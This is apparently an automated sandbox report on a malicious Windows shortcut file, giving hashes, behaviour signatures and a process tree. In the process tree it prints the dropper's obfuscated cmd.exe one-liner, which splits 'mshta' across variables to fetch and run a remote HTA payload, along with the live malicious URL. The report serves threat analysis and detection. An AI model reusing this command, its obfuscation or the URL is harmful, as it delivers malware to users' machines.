Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 13:22
Static task
static1
Behavioral task
behavioral1
Sample
DOC-751V22.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-751V22.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-751V22.lnk
- Size 1KB
- Sample260803-qmpthazbpf
- SHA256 ae069df30bc0b7d02042a72936644b0c95d8235113b3c8accc7f3ac969cc66c8
- MD5 6fa83bebcf148ae9548ea3a68f3a8123
- SHA1 d0c90c61cd73eabbcd7103f96aea8e43c5eb8590
- SHA512 379dbe304fe1f881ed0f7dc260b611f2ead5aae212e4f32b1635793a1b61e0888beb5cd2cd2d5e6141b57442cd39f702b05e7739f86b580f45d9166742c090c1
- TLSH T1883147502FFA0694F3B78E7398BB5B1085BBB9968E20C61D0141464C1072A15E17AFB7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3596 cmd.exe 4268 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3596 wrote to memory of 4268 3596 cmd.exe 88 PID 4268 wrote to memory of 4104 4268 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-751V22.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set PEP=msh&&set GxV=ta&&start "" !PEP!!GxV! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4104
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